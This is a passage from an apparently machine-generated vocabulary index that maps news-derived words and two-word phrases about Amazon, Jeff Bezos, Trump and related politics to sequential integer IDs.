\"bizarrely quiet\": 219413,\n  \"linked\": 219414,\n  \"ultra controversial\": 219415,\n  \"projected trilogy\": 219416,\n  \"state history\": 219417,\n  \"halts\": 219418,\n  \"usually live\": 219419,\n  \"giuliani trump\": 219420,\n  \"ellyn\": 219421,\n  \"pick shares\": 219422,\n  \"resonance\": 219423,\n  \"smart money\": 219424,\n  \"battery street\": 219425,\n  \"crash new\": 219426,\n  \"breen\": 219427,\n  \"soon abandon\": 219428,\n  \"loathes amazon\": 219429,\n  \"impersonate\": 219430,\n  \"gives\": 219431,\n  \"make growth\": 219432,\n  \"eurotrip\": 219433,\n  \"incredible courage\": 219434,\n  \"removed fromoffice\": 219435,\n  \"america far\": 219436,\n  \"poorly\": 219437,\n  \"paper billionaire\": 219438,\n  \"pseudo\": 219439,\n  \"materially worse\": 219440,\n  \"2411390002\": 219441,\n  \"luxembourg companies\": 219442,\n  \"rotunda lies\": 219443,\n  \"pundit notes\": 219444,\n  \"reviewers theoretically\": 219445,\n  \"hacked raises\": 219446,\n  \"amazon advocates\": 219447,\n  \"sindhuja sankaran\": 219448,\n  \"market woes\": 219449,\n  \"agency reviews\": 219450,\n  \"discomfort\": 219451,\n  \"best place\": 219452,\n  \"amazon poised\": 219453,\n  \"0kkv8cxsoo\": 219454,\n  \"detailed analysis\": 219455,\n  \"committed derisory\": 219456,\n  \"s0 function\": 219457,\n  \"european business\": 219458,\n  \"unions bezos\": 219459,\n  \"youssef\": 219460,\n  \"deal extreme\": 219461,\n  \"impressions\": 219462,\n  \"importing thousands\": 219463,\n  \"billion opting\": 219464,\n  \"spelling\": 219465,\n  \"knowledge\": 219466,\n  \"cyberattacks\": 219467,\n  \"german watchdog\": 219468,\n  \"took proactive\": 219469,\n  \"relieved citing\": 219470,\n  \"republicans nominated\": 219471,\n  \"different story\": 219472,\n  \"free roll\": 219473,\n  \"inspire comparisons\": 219474,\n  \"obama expanded\": 219475,\n  \"broadcast group\": 219476,\n  \"scoop amazon\": 219477,\n  \"killed amazon\": 219478,\n  \"mil\": 219479,\n  \"usps legislation\": 219480,\n  \"2009 financial\": 219481,\n  \"cicilline talks\": 219482,\n  \"enquirer wanted\": 219483,\n  \"codify\": 219484,\n  \"book fox\": 219485,\n  \"year critics\": 219486,\n  \"shallow conspiratorial\": 219487,\n  \"message celebrating\": 219488,\n  \"foreign phone\": 219489,\n  \"substantial assistance\": 219490,\n  \"highest average\": 219491,\n  \"photos sign\": 219492,\n  \"using social\": 219493,\n  \"oliver sacks\": 219494,\n  \"says antastic\": 219495,\n  \"straight men\": 219496,\n  \"nke sbux\": 219497,\n  \"company believes\": 219498,\n  \"hashtag stopthebias\": 219499,\n  \"adopting board\": 219500,\n  \"oaks calif\": 219501,\n  \"stewardship\": 219502,\n  \"malmquist\": 219503,\n  \"affiliate stations\": 219504,\n  \"awaited corporate\": 219505,\n  \"amazon fail\": 219506,\n  \"territory dropping\": 219507,\n  \"american supermarket\": 219508,\n  \"entire corporate\": 219509,\n  \"parks state\": 219510,\n  \"dubbed tropical\": 219511,\n  \"racist centrist\": 219512,\n  \"recently wrote\": 219513,\n  \"including paying\": 219514,\n  \"content das\": 219515,\n  \"joint resolution\": 219516,\n  \"soy silos\": 219517,\n  \"software program\": 219518,\n  \"friends meeting\": 219519,\n  \"programmed\": 219520,\n  \"stake union\": 219521,\n  \"james corsi\": 219522,\n  \"podesta andrew\": 219523,\n  \"purchases previously\": 219524,\n  \"getting tough\": 219525,\n  \"variety amazon\": 219526,\n  \"physical embodiment\": 219527,\n  \"touts impact\": 219528,\n  \"geekwire reported\": 219529,\n  \"owns 770\": 219530,\n  \"believe nixon\": 219531,\n  \"fancy ways\": 219532,\n  \"icann blocked\": 219533,\n  \"printing juggernaut\": 219534,\n  \"inauguration amazon\": 219535,\n  \"niedzwiadek\": 219536,\n  \"hill reported\": 219537,\n  \"sucking\": 219538,\n  \"boosted online\": 219539,\n  \"sounded surprised\": 219540,\n  \"harris faulkner\": 219541,\n  \"growers eager\": 219542,\n  \"held stereotypes\": 219543,\n  \"scene\": 219544,\n  \"steve schmidt\": 219545,\n  \"credit history\": 219546,\n  \"growth bezos\": 219547,\n  \"handleadoncvpvisibilitychange containerid\": 219548,\n  \"fresh blast\": 219549,\n  \"wrigley building\": 219550,\n  \"gain jones\": 219551,\n  \"simply wrong\": 219552,\n  \"yi\": 219553,\n  \"hall pass\": 219554,\n  \"lowest reading\": 219555,\n  \"democrats justicedems\": 219556,\n  \"queensbridge\": 219557,\n  \"flanagan\": 219558,\n  \"dump alphabet\": 219559,\n  \"tm push\": 219560,\n  \"anderson williston\": 219561,\n  \"message board\": 219562,\n  \"promoting hatred\": 219563,\n  \"fairness embedded\": 219564,\n  \"editors recommendations\": 219565,\n  \"announcement greene\": 219566,\n  \"presenting proof\": 219567,\n  \"manufacturers\": 219568,\n  \"northgate light\": 219569,\n  \"lobbyists including\": 219570,\n  \"commission 2010\": 219571,\n  \"bezos ties\": 219572,\n  \"business host\": 219573,\n  \"say brandy\": 219574,\n  \"competitive grounds\": 219575,\n  \"respected national\": 219576,\n  \"corny\": 219577,\n  \"trump complained\": 219578,\n  \"weakening environmental\": 219579,\n  \"bargain report\": 219580,\n  \"sprawling commerce\": 219581,\n  \"ruptured\": 219582,\n  \"president widely\": 219583,\n  \"waste amazon\": 219584,\n  \"filing saying\": 219585,\n  \"immediately wondered\": 219586,\n  \"openly criticized\": 219587,\n  \"violates established\": 219588,\n  \"defining\": 219589,\n  \"uk just\": 219590,\n  \"counterfeit issues\": 219591,\n  \"rates constitute\": 219592,\n  \"stronger prices\": 219593,\n  \"irs bills\": 219594,\n  \"bruising\": 219595,\n  \"nonbinary choice\": 219596,\n  \"trump jab\": 219597,\n  \"probes questions\": 219598,\n  \"buses crash\": 219599,\n  \"douglass\": 219600,\n  \"lowest levels\": 219601,\n  \"bogus sellers\": 219602,\n  \"remains threat\": 219603,\n  \"controversial data\": 219604,\n  \"thati\": 219605,\n  \"retailers carrying\": 219606,\n  \"tech daniel\": 219607,\n  \"michael flynned\": 219608,\n  \"novel waiting\": 219609,\n  \"yeltsin friends\": 219610,\n  \"message away\": 219611,\n  \"churning\": 219612,\n  \"billions brennan\": 219613,\n  \"cjs\": 219614,\n  \"key changes\": 219615,\n  \"fueled bezos\": 219616,\n  \"wanton\": 219617,\n  \"government following\": 219618,\n  \"firms used\": 219619,\n  \"bank partnership\": 219620,\n  \"lake trump\": 219621,\n  \"conservative pages\": 219622,\n  \"town new\": 219623,\n  \"stuff shout\": 219624,\n  \"faang exposure\": 219625,\n  \"disorderly brexit\": 219626,\n  \"research group\": 219627,\n  \"legally challenged\": 219628,\n  \"key feature\": 219629,\n  \"unfriendly\": 219630,\n  \"ami statement\": 219631,\n  \"warehouse prime\": 219632,\n  \"wilkinson told\": 219633,\n  \"times facebook\": 219634,\n  \"assesses\": 219635,\n  \"synthesizing\": 219636,\n  \"gardner foreign\": 219637,\n  \"alloy\": 219638,\n  \"daily point\": 219639,\n  \"claims constituting\": 219640,\n  \"expressing contrition\": 219641,\n  \"separate publicly\": 219642,\n  \"leaked bezos\": 219643,\n  \"truly pose\": 219644,\n  \"corp mck\": 219645,\n  \"consortium 2018\": 219646,\n  \"president frequent\": 219647,\n  \"jeff hardy\": 219648,\n  \"transform education\": 219649,\n  \"favorable fundamentals\": 219650,\n  \"hinton check\": 219651,\n  \"laurent\": 219652,\n  \"financial situation\": 219653,\n  \"political seas\": 219654,\n  \"doesn function\": 219655,\n  \"shimkus\": 219656,\n  \"space force\": 219657,\n  \"eduardo castaldo\": 219658,\n  \"authority\": 219659,\n  \"quest\": 219660,\n  \"biggest 500\": 219661,\n  \"great potential\": 219662,\n  \"2016 wow\": 219663,\n  \"house investigations\": 219664,\n  \"diamond lewisville\": 219665,\n  \"implied simultaneous\": 219666,\n  \"institute began\": 219667,\n  \"sum reported\": 219668,\n  \"macd\": 219669,\n  \"services tax\": 219670,\n  \"good question\": 219671,\n  \"eyeing landmark\": 219672,\n  \"taxi dispatch\": 219673,\n  \"stock assured\": 219674,\n  \"buy box\": 219675,\n  \"shoot melania\": 219676,\n  \"suspect michael\": 219677,\n  \"restrict trade\": 219678,\n  \"carefully\": 219679,\n  \"a5q function\": 219680,\n  \"local nonprofits\": 219681,\n  \"chased amazon\": 219682,\n  \"services qualified\": 219683,\n  \"everyday school\": 219684,\n  \"response efforts\": 219685,\n  \"level false\": 219686,\n  \"kore\": 219687,\n  \"governor lieutenant\": 219688,\n  \"laurel ihob\": 219689,\n  \"binoche character\": 219690,\n  \"sanders says\": 219691,\n  \"brown signed\": 219692,\n  \"pay respect\": 219693,\n  \"fled\": 219694,\n  \"government uu\": 219695,\n  \"kimmel hates\": 219696,\n  \"george papadopoulos\": 219697,\n  \"trending\": 219698,\n  \"frequently suggests\": 219699,\n  \"estranged husband\": 219700,\n  \"deeply confusing\": 219701,\n  \"silver sponsor\": 219702,\n  \"million selling\": 219703,\n  \"corruption involving\": 219704,\n  \"story assigned\": 219705,\n  \"zinke set\": 219706,\n  \"india stood\": 219707,\n  \"politically convenient\": 219708,\n  \"journalists association\": 219709,\n  \"khq\": 219710,\n  \"motivated president\": 219711,\n  \"people pay\": 219712,\n  \"wharton\": 219713,\n  \"dr elena\": 219714,\n  \"retail prices\": 219715,\n  \"noesis\": 219716,\n  \"dealer organized\": 219717,\n  \"brutal reality\": 219718,\n  \"mark\": 219719,\n  \"barely visible\": 219720,\n  \"iphone related\": 219721,\n  \"intelligence chairman\": 219722,\n  \"228608 228515\": 219723,\n  \"usds self\": 219724,\n  \"gop lackeys\": 219725,\n  \"york firm\": 219726,\n  \"va x6cue\": 219727,\n  \"stations reading\": 219728,\n  \"jobsplus\": 219729,\n  \"massive condo\": 219730,\n  \"slamming tactic\": 219731,\n  \"rationalworld\": 219732,\n  \"mortar british\": 219733,\n  \"volatility scorecard\": 219734,\n  \"duration videocardcontents\": 219735,\n  \"administrative efforts\": 219736,\n  \"devoting\": 219737,\n  \"auction\": 219738,\n  \"reveals multiple\": 219739,\n  \"alandersh\": 219740,\n  \"donate 250\": 219741,\n  \"mta board\": 219742,\n  \"shailesh prakash\": 219743,\n  \"yoqpgcixof rolandsmartin\": 219744,\n  \"greenwood\": 219745,\n  \"acn news\": 219746,\n  \"tx drug\": 219747,\n  \"circle embed\": 219748,\n  \"418\": 219749,\n  \"amazon pie\": 219750,\n  \"affords time\": 219751,\n  \"offer limited\": 219752,\n  \"used universally\": 219753,\n  \"election walker\": 219754,\n  \"trump dod\": 219755,\n  \"shares dragged\": 219756,\n  \"singing\": 219757,\n  \"definitely\": 219758,\n  \"charter time\": 219759,\n  \"program matured\": 219760,\n  \"start shopping\": 219761,\n  \"lacked safety\": 219762,\n  \"actual toy\": 219763,\n  \"cook chief\": 219764,\n  \"pelecanos hbo\": 219765,\n  \"clima climate\": 219766,\n  \"undated photo\": 219767,\n  \"lyft\": 219768,\n  \"services sales\": 219769,\n  \"marvel cloak\": 219770,\n  \"commerce suggests\": 219771,\n  \"years allowing\": 219772,\n  \"wee\": 219773,\n  \"including proposals\": 219774,\n  \"left thousands\": 219775,\n  \"andoverrides\": 219776,\n  \"significant supply\": 219777,\n  \"previously replied\": 219778,\n  \"idiotic claim\": 219779,\n  \"opposes public\": 219780,\n  \"amazon rates\": 219781,\n  \"champion immigrant\": 219782,\n  \"playbook election\": 219783,\n  \"direct publishing\": 219784,\n  \"space amazon\": 219785,\n  \"corporate earnings\": 219786,\n  \"worker abuse\": 219787,\n  \"seattle new\": 219788,\n  \"story suggesting\": 219789,\n  \"kc\": 219790,\n  \"evangelical christian\": 219791,\n  \"calif bringing\": 219792,\n  \"911 issues\": 219793,\n  \"need union\": 219794,\n  \"total exoneration\": 219795,\n  \"amazon focusing\": 219796,\n  \"facist regime\": 219797,\n  \"overpriced\": 219798,\n  \"service available\": 219799,\n  \"great shape\": 219800,\n  \"considering selling\": 219801,\n  \"sanchez filed\": 219802,\n  \"love president\": 219803,\n  \"sully new\": 219804,\n  \"organization imazon\": 219805,\n  \"billion endowment\": 219806,\n  \"2018 div\": 219807,\n  \"toughness\": 219808,\n  \"espoused\": 219809,\n  \"including massive\": 219810,\n  \"activity price\": 219811,\n  \"mission\": 219812,\n  \"position unjustly\": 219813,\n  \"destroying competitors\": 219814,\n  \"coalition\": 219815,\n  \"republican team\": 219816,\n  \"stmp q4\": 219817,\n  \"president jurisdiction\": 219818,\n  \"shopping trip\": 219819,\n  \"pr bookfunnel\": 219820,\n  \"stephanopoulos shot\": 219821,\n  \"lifting caps\": 219822,\n  \"using layaway\": 219823,\n  \"national trade\": 219824,\n  \"giant remember\": 219825,\n  \"charlottesville\": 219826,\n  \"264\": 219827,\n  \"nunavut visit\": 219828,\n  \"amazon billionaire\": 219829,\n  \"pays minimal\": 219830,\n  \"watergate story\": 219831,\n  \"remembrance posted\": 219832,\n  \"salvanto\": 219833,\n  \"vested scamp\": 219834,\n  \"senior fellow\": 219835,\n  \"928\": 219836,\n  \"shutdown negotiations\": 219837,\n  \"isolationist policies\": 219838,\n  \"fever billionaires\": 219839,\n  \"car tests\": 219840,\n  \"party company\": 219841,\n  \"trump key\": 219842,\n  \"prices buybox\": 219843,\n  \"personal gratification\": 219844,\n  \"likes\": 219845,\n  \"methods\": 219846,\n  \"bauserman resigned\": 219847,\n  \"riffed\": 219848,\n  \"referring\": 219849,\n  \"p7 var\": 219850,\n  \"media trump\": 219851,\n  \"european edition\": 219852,\n  \"recon mission\": 219853,\n  \"employers unexpectedly\": 219854,\n  \"retailers brick\": 219855,\n  \"leasing office\": 219856,\n  \"foundation broadcast\": 219857,\n  \"amazing new\": 219858,\n  \"brother\": 219859,\n  \"make promises\": 219860,\n  \"specific number\": 219861,\n  \"revenue revenue\": 219862,\n  \"bode\": 219863,\n  \"financing bank\": 219864,\n  \"including github\": 219865,\n  \"fined 125\": 219866,\n  \"major pharmaceutical\": 219867,\n  \"restricting choice\": 219868,\n  \"companies finagling\": 219869,\n  \"company disputed\": 219870,\n  \"eerily\": 219871,\n  \"lie regular\": 219872,\n  \"bezos demanding\": 219873,\n  \"photographer nbc\": 219874,\n  \"separating kids\": 219875,\n  \"mature members\": 219876,\n  \"2018 shortly\": 219877,\n  \"theater shooting\": 219878,\n  \"university officials\": 219879,\n  \"today dalvin\": 219880,\n  \"enemy amazon\": 219881,\n  \"profile heaven\": 219882,\n  \"man money\": 219883,\n  \"alistair barr\": 219884,\n  \"amazon probes\": 219885,\n  \"letter green\": 219886,\n  \"warc staff\": 219887,\n  \"noted bezos\": 219888,\n  \"recommend reforms\": 219889,\n  \"thumbimageelem thumbimagelargesource\": 219890,\n  \"rsvp jacqueline\": 219891,\n  \"close adviser\": 219892,\n  \"creepy\": 219893,\n  \"highpaying\": 219894,\n  \"northam consent\": 219895,\n  \"austrian\": 219896,\n  \"avandermey\": 219897,\n  \"regulation published\": 219898,\n  \"public libraries\": 219899,\n  \"trump bump\": 219900,\n  \"financial reforms\": 219901,\n  \"reuters clodagh\": 219902,\n  \"oppression anti\": 219903,\n  \"million merch\": 219904,\n  \"growing economy\": 219905,\n  \"appetites\": 219906,\n  \"writer joe\": 219907,\n  \"mohan senior\": 219908,\n  \"commerce goliath\": 219909,\n  \"hardest hit\": 219910,\n  \"company impact\": 219911,\n  \"spiked yesterday\": 219912,\n  \"calvin klein\": 219913,\n  \"hassled covfefe\": 219914,\n  \"partially legitimate\": 219915,\n  \"investigationacross multiple\": 219916,\n  \"revenues spokeswoman\": 219917,\n  \"report concerning\": 219918,\n  \"party assumed\": 219919,\n  \"media environment\": 219920,\n  \"force identified\": 219921,\n  \"appearance allowing\": 219922,\n  \"struggling agency\": 219923,\n  \"telltale\": 219924,\n  \"paid 150\": 219925,\n  \"autotrader\": 219926,\n  \"second headquartersin\": 219927,\n  \"2750\": 219928,\n  \"dare\": 219929,\n  \"merck\": 219930,\n  \"simply shoulder\": 219931,\n  \"local schoolchildren\": 219932,\n  \"stores operating\": 219933,\n  \"pypl\": 219934,\n  \"marketing execution\": 219935,\n  \"novel enchanted\": 219936,\n  \"burden\": 219937,\n  \"excelsior jobs\": 219938,\n  \"stimulus bonanza\": 219939,\n  \"final version\": 219940,\n  \"know today\": 219941,\n  \"warned world\": 219942,\n  \"lifetime value\": 219943,\n  \"opening mock\": 219944,\n  \"officials predict\": 219945,\n  \"mortar gap\": 219946,\n  \"biased agenda\": 219947,\n  \"subway fare\": 219948,\n  \"biff\": 219949,\n  \"passwords exposed\": 219950,\n  \"trump lawsuit\": 219951,\n  \"framed photos\": 219952,\n  \"black privilege\": 219953,\n  \"wait economists\": 219954,\n  \"timescolumnist\": 219955,\n  \"multiple clouds\": 219956,\n  \"material threat\": 219957,\n  \"common law\": 219958,\n  \"camping 101\": 219959,\n  \"legislative oversight\": 219960,\n  \"raising legal\": 219961,\n  \"experience concert\": 219962,\n  \"motion\": 219963,\n  \"meal kit\": 219964,\n  \"considering 2020\": 219965,\n  \"thoughts change\": 219966,\n  \"longshot bid\": 219967,\n  \"nd2pss\": 219968,\n  \"permit\": 219969,\n  \"crasher california\": 219970,\n  \"photos howard\": 219971,\n  \"amazon killers\": 219972,\n  \"kidding hotstar\": 219973,\n  \"amazon immediate\": 219974,\n  \"growth think\": 219975,\n  \"68b valuation\": 219976,\n  \"charismatic single\": 219977,\n  \"amazon destined\": 219978,\n  \"shendure\": 219979,\n  \"offshore profits\": 219980,\n  \"post lee\": 219981,\n  \"john new\": 219982,\n  \"schiff appeared\": 219983,\n  \"ohio receive\": 219984,\n  \"persona\": 219985,\n  \"adele\": 219986,\n  \"placed haven\": 219987,\n  \"stark contrast\": 219988,\n  \"gump\": 219989,\n  \"don mind\": 219990,\n  \"reports wider\": 219991,\n  \"political independence\": 219992,\n  \"cbs kavanaugh\": 219993,\n  \"did kind\": 219994,\n  \"join realdonaldtrump\": 219995,\n  \"series jack\": 219996,\n  \"urges judge\": 219997,\n  \"galloway explained\": 219998,\n  \"demand investigations\": 219999,\n  \"mads mikkelsen\": 220000,\n  \"skilled labor\": 220001,\n  \"tell amazon\": 220002,\n  \"friends families\": 220003,\n  \"suave\": 220004,\n  \"nahorniak\": 220005,\n  \"virginia requested\": 220006,\n  \"amazon stake\": 220007,\n  \"travel list\": 220008,\n  \"ruthless monopolist\": 220009,\n  \"weise write\": 220010,\n  \"key component\": 220011,\n  \"rouge\": 220012,\n  \"approps\": 220013,\n  \"amazon policy\": 220014,\n  \"significant results\": 220015,\n  \"profitable cloud\": 220016,\n  \"competitors available\": 220017,\n  \"big differences\": 220018,\n  \"good reason\": 220019,\n  \"heidi peterson\": 220020,\n  \"signaling possible\": 220021,\n  \"polyphonic\": 220022,\n  \"ap interested\": 220023,\n  \"hotel tower\": 220024,\n  \"personal benefit\": 220025,\n  \"pulitzer prize\": 220026,\n  \"business read\": 220027,\n  \"apple trillion\": 220028,\n  \"border swing\": 220029,\n  \"codes\": 220030,\n  \"bezos tie\": 220031,\n  \"vehemently\": 220032,\n  \"4741 supported\": 220033,\n  \"crush\": 220034,\n  \"issues catch\": 220035,\n  \"inevitable sooner\": 220036,\n  \"delivery mechanisms\": 220037,\n  \"undeserved competitive\": 220038,\n  \"selling shares\": 220039,\n  \"kamm afp\": 220040,\n  \"controversial issue\": 220041,\n  \"retailer wagner\": 220042,\n  \"cavallari\": 220043,\n  \"drug wholesalers\": 220044,\n  \"manhattan federal\": 220045,\n  \"person exceeds\": 220046,\n  \"parents watched\": 220047,\n  \"maintaining relationship\": 220048,\n  \"political supporter\": 220049,\n  \"idc xiaomi\": 220050,\n  \"story showed\": 220051,\n  \"scripts titled\": 220052,\n  \"win jedi\": 220053,\n  \"nyc consumer\": 220054,\n  \"war powers\": 220055,\n  \"2018 federal\": 220056,\n  \"learning improves\": 220057,\n  \"junkies tech\": 220058,\n  \"free stuff\": 220059,\n  \"increased hacking\": 220060,\n  \"marshall college\": 220061,\n  \"sites requesting\": 220062,\n  \"criticisms\": 220063,\n  \"monopoly according\": 220064,\n  \"racial discrimination\": 220065,\n  \"a19\": 220066,\n  \"aids\": 220067,\n  \"management brittain\": 220068,\n  \"modernize reads\": 220069,\n  \"itep nonpartisan\": 220070,\n  \"descends\": 220071,\n  \"fair gabriel\": 220072,\n  \"stars felt\": 220073,\n  \"hbo hbo\": 220074,\n  \"intertwined\": 220075,\n  \"hear amazon\": 220076,\n  \"credits amazon\": 220077,\n  \"toilet hard\": 220078,\n  \"syndrome took\": 220079,\n  \"names email\": 220080,\n  \"avoidanother\": 220081,\n  \"great deception\": 220082,\n  \"loans\": 220083,\n  \"board options\": 220084,\n  \"amandla\": 220085,\n  \"pettiness\": 220086,\n  \"jeopardize\": 220087,\n  \"packaged business\": 220088,\n  \"avengers\": 220089,\n  \"diseases darla\": 220090,\n  \"app stores\": 220091,\n  \"platform aafa\": 220092,\n  \"opened pop\": 220093,\n  \"alnsour\": 220094,\n  \"potted\": 220095,\n  \"massive humanitarian\": 220096,\n  \"distribution deal\": 220097,\n  \"komatsu\": 220098,\n  \"anne marie\": 220099,\n  \"guarding\": 220100,\n  \"cbs benzinga\": 220101,\n  \"barcode\": 220102,\n  \"storm president\": 220103,\n  \"latest mischief\": 220104,\n  \"bezos turned\": 220105,\n  \"enquirer worked\": 220106,\n  \"moderately high\": 220107,\n  \"truck vehicle\": 220108,\n  \"baselessly claims\": 220109,\n  \"black actress\": 220110,\n  \"royen\": 220111,\n  \"devices suggests\": 220112,\n  \"injurious\": 220113,\n  \"season aired\": 220114,\n  \"lee carter\": 220115,\n  \"financial future\": 220116,\n  \"operations sent\": 220117,\n  \"small bore\": 220118,\n  \"areas amazon\": 220119,\n  \"guilty party\": 220120,\n  \"claim seriously\": 220121,\n  \"unlimited data\": 220122,\n  \"enjoy running\": 220123,\n  \"james franco\": 220124,\n  \"pendant\": 220125,\n  \"retirement legislation\": 220126,\n  \"scrutinising big\": 220127,\n  \"president motivation\": 220128,\n  \"good friend\": 220129,\n  \"recongnition\": 220130,\n  \"janan hanna\": 220131,\n  \"deal taxes\": 220132,\n  \"eisen wrote\": 220133,\n  \"reveals donald\": 220134,\n  \"related smart\": 220135,\n  \"corporate pacs\": 220136,\n  \"carolina football\": 220137,\n  \"beautiful piece\": 220138,\n  \"mistakenly identifying\": 220139,\n  \"logistics industry\": 220140,\n  \"author ranked\": 220141,\n  \"delivered stern\": 220142,\n  \"nike apple\": 220143,\n  \"products ellison\": 220144,\n  \"village voice\": 220145,\n  \"photo galleries\": 220146,\n  \"temin\": 220147,\n  \"listers\": 220148,\n  \"vaxxer wife\": 220149,\n  \"impose 100\": 220150,\n  \"schwietzer joined\": 220151,\n  \"taidafeng\": 220152,\n  \"pati\": 220153,\n  \"stump speech\": 220154,\n  \"says concerning\": 220155,\n  \"mackenzie statement\": 220156,\n  \"says democrats\": 220157,\n  \"literally want\": 220158,\n  \"practices resemble\": 220159,\n  \"aggressive programs\": 220160,\n  \"mnuchkin\": 220161,\n  \"american library\": 220162,\n  \"1938 vuillard\": 220163,\n  \"000 physical\": 220164,\n  \"today hoda\": 220165,\n  \"salman arrival\": 220166,\n  \"warehouse coded\": 220167,\n  \"neglects\": 220168,\n  \"fla donna\": 220169,\n  \"backed ways\": 220170,\n  \"pointer\": 220171,\n  \"octopus inside\": 220172,\n  \"younger audiences\": 220173,\n  \"similar debates\": 220174,\n  \"megan brennan\": 220175,\n  \"photo buy\": 220176,\n  \"including authoritarian\": 220177,\n  \"provided trump\": 220178,\n  \"unaffected trump\": 220179,\n  \"comic business\": 220180,\n  \"publicity soon\": 220181,\n  \"justice antitrust\": 220182,\n  \"null inc5000companies\": 220183,\n  \"bold decisions\": 220184,\n  \"deposit\": 220185,\n  \"begins talking\": 220186,\n  \"ebay declared\": 220187,\n  \"cmtx\": 220188,\n  \"north face\": 220189,\n  \"valuable firm\": 220190,\n  \"niles colin\": 220191,\n  \"tighten regulations\": 220192,\n  \"publish story\": 220193,\n  \"local start\": 220194,\n  \"sexually violent\": 220195,\n  \"later actually\": 220196,\n  \"rising\": 220197,\n  \"newspaper featured\": 220198,\n  \"brooks active\": 220199,\n  \"100008240777381\": 220200,\n  \"wide international\": 220201,\n  \"risk creating\": 220202,\n  \"user reviews\": 220203,\n  \"just proven\": 220204,\n  \"amazon dams\": 220205,\n  \"inevitably involve\": 220206,\n  \"make stories\": 220207,\n  \"possible legal\": 220208,\n  \"supporting evidence\": 220209,\n  \"video google\": 220210,\n  \"fiat chryslers\": 220211,\n  \"maher uses\": 220212,\n  \"stitcher deep\": 220213,\n  \"crafts home\": 220214,\n  \"competitive districts\": 220215,\n  \"attract millennial\": 220216,\n  \"law attorney\": 220217,\n  \"chick fil\": 220218,\n  \"japan toronto\": 220219,\n  \"bezos email\": 220220,\n  \"happened uh\": 220221,\n  \"slump\": 220222,\n  \"did away\": 220223,\n  \"intense investigation\": 220224,\n  \"heckler interrupts\": 220225,\n  \"year shares\": 220226,\n  \"settle\": 220227,\n  \"galit lev\": 220228,\n  \"laowilas\": 220229,\n  \"consumerism\": 220230,\n  \"shares emily\": 220231,\n  \"significantly inflate\": 220232,\n  \"helped internet\": 220233,\n  \"porn site\": 220234,\n  \"composite yearly\": 220235,\n  \"access seller\": 220236,\n  \"improving shareholder\": 220237,\n  \"posture\": 220238,\n  \"customer packages\": 220239,\n  \"ct feb\": 220240,\n  \"services google\": 220241,\n  \"complaints unauthorized\": 220242,\n  \"valued just\": 220243,\n  \"media buzz\": 220244,\n  \"spark spitting\": 220245,\n  \"pic peccadillo\": 220246,\n  \"stephenson\": 220247,\n  \"typeof global\": 220248,\n  \"israel\": 220249,\n  \"aging german\": 220250,\n  \"impending\": 220251,\n  \"tackling climate\": 220252,\n  \"hybrid\": 220253,\n  \"rights amazon\": 220254,\n  \"gotten large\": 220255,\n  \"texas instruments\": 220256,\n  \"cast led\": 220257,\n  \"hyung jin\": 220258,\n  \"big votes\": 220259,\n  \"charges close\": 220260,\n  \"intense pressure\": 220261,\n  \"moping\": 220262,\n  \"repeatedly drawn\": 220263,\n  \"says amazon\": 220264,\n  \"paysa\": 220265,\n  \"figure patrick\": 220266,\n  \"raise amazon\": 220267,\n  \"talks serenity\": 220268,\n  \"deport alien\": 220269,\n  \"clearly point\": 220270,\n  \"local journalism\": 220271,\n  \"secret ahead\": 220272,\n  \"presidential frontrunner\": 220273,\n  \"opaque oil\": 220274,\n  \"john feffer\": 220275,\n  \"capitalism known\": 220276,\n  \"anyanwu\": 220277,\n  \"asylums\": 220278,\n  \"company market\": 220279,\n  \"discipline including\": 220280,\n  \"based discourse\": 220281,\n  \"military secrets\": 220282,\n  \"sununu\": 220283,\n  \"sourcewhether cloud\": 220284,\n  \"monthly decline\": 220285,\n  \"technology luddites\": 220286,\n  \"sending emails\": 220287,\n  \"gifford\": 220288,\n  \"present situation\": 220289,\n  \"expect walmart\": 220290,\n  \"letter warns\": 220291,\n  \"hush payments\": 220292,\n  \"prime subscriptions\": 220293,\n  \"037\": 220294,\n  \"consistently high\": 220295,\n  \"photo shows\": 220296,\n  \"journal bezos\": 220297,\n  \"cool crisis\": 220298,\n  \"public restlessness\": 220299,\n  \"true amazon\": 220300,\n  \"sold cogs\": 220301,\n  \"huh\": 220302,\n  \"punsters\": 220303,\n  \"jeffrey gundlach\": 220304,\n  \"gestured\": 220305,\n  \"make magnificent\": 220306,\n  \"gymnastics\": 220307,\n  \"smart vehicle\": 220308,\n  \"saw global\": 220309,\n  \"domenick\": 220310,\n  \"depth\": 220311,\n  \"william markham\": 220312,\n  \"outstanding report\": 220313,\n  \"gianaris state\": 220314,\n  \"craig bernstein\": 220315,\n  \"emission\": 220316,\n  \"dossier russian\": 220317,\n  \"amazon grew\": 220318,\n  \"nation elected\": 220319,\n  \"harbor geekwire\": 220320,\n  \"life deteriorates\": 220321,\n  \"provide window\": 220322,\n  \"controversy minutes\": 220323,\n  \"battles cancer\": 220324,\n  \"imbroglio\": 220325,\n  \"delivery operations\": 220326,\n  \"infrastructure costs\": 220327,\n  \"margin cloud\": 220328,\n  \"current state\": 220329,\n  \"salary report\": 220330,\n  \"statement responding\": 220331,\n  \"stuffed\": 220332,\n  \"favorite restaurant\": 220333,\n  \"9bcneifwej\": 220334,\n  \"microsoft recently\": 220335,\n  \"swindling\": 220336,\n  \"elections victory\": 220337,\n  \"postal subcommittee\": 220338,\n  \"financial advisers\": 220339,\n  \"1814\": 220340,\n  \"stockpil starbucks\": 220341,\n  \"regulatory controls\": 220342,\n  \"basanta\": 220343,\n  \"live streamed\": 220344,\n  \"large monopolies\": 220345,\n  \"bellow novels\": 220346,\n  \"structurally defective\": 220347,\n  \"judge issued\": 220348,\n  \"resolved doesn\": 220349,\n  \"agents took\": 220350,\n  \"coincidentally donald\": 220351,\n  \"nation president\": 220352,\n  \"latest snl\": 220353,\n  \"help stated\": 220354,\n  \"wt nav\": 220355,\n  \"gates isn\": 220356,\n  \"hearing set\": 220357,\n  \"pastor\": 220358,\n  \"society democrat\": 220359,\n  \"committee skate\": 220360,\n  \"good guy\": 220361,\n  \"concerned saying\": 220362,\n  \"met man\": 220363,\n  \"microsoft antitrust\": 220364,\n  \"ga races\": 220365,\n  \"cruz suggested\": 220366,\n  \"people started\": 220367,\n  \"consumers shift\": 220368,\n  \"trump hopped\": 220369,\n  \"office conducting\": 220370,\n  \"plasma\": 220371,\n  \"bezos network\": 220372,\n  \"amazon fba\": 220373,\n  \"right eisen\": 220374,\n  \"office actually\": 220375,\n  \"schlosser amazon\": 220376,\n  \"facebook questions\": 220377,\n  \"health organization\": 220378,\n  \"tedhesson iankullgren\": 220379,\n  \"philosophy published\": 220380,\n  \"abortion providers\": 220381,\n  \"friendly journalists\": 220382,\n  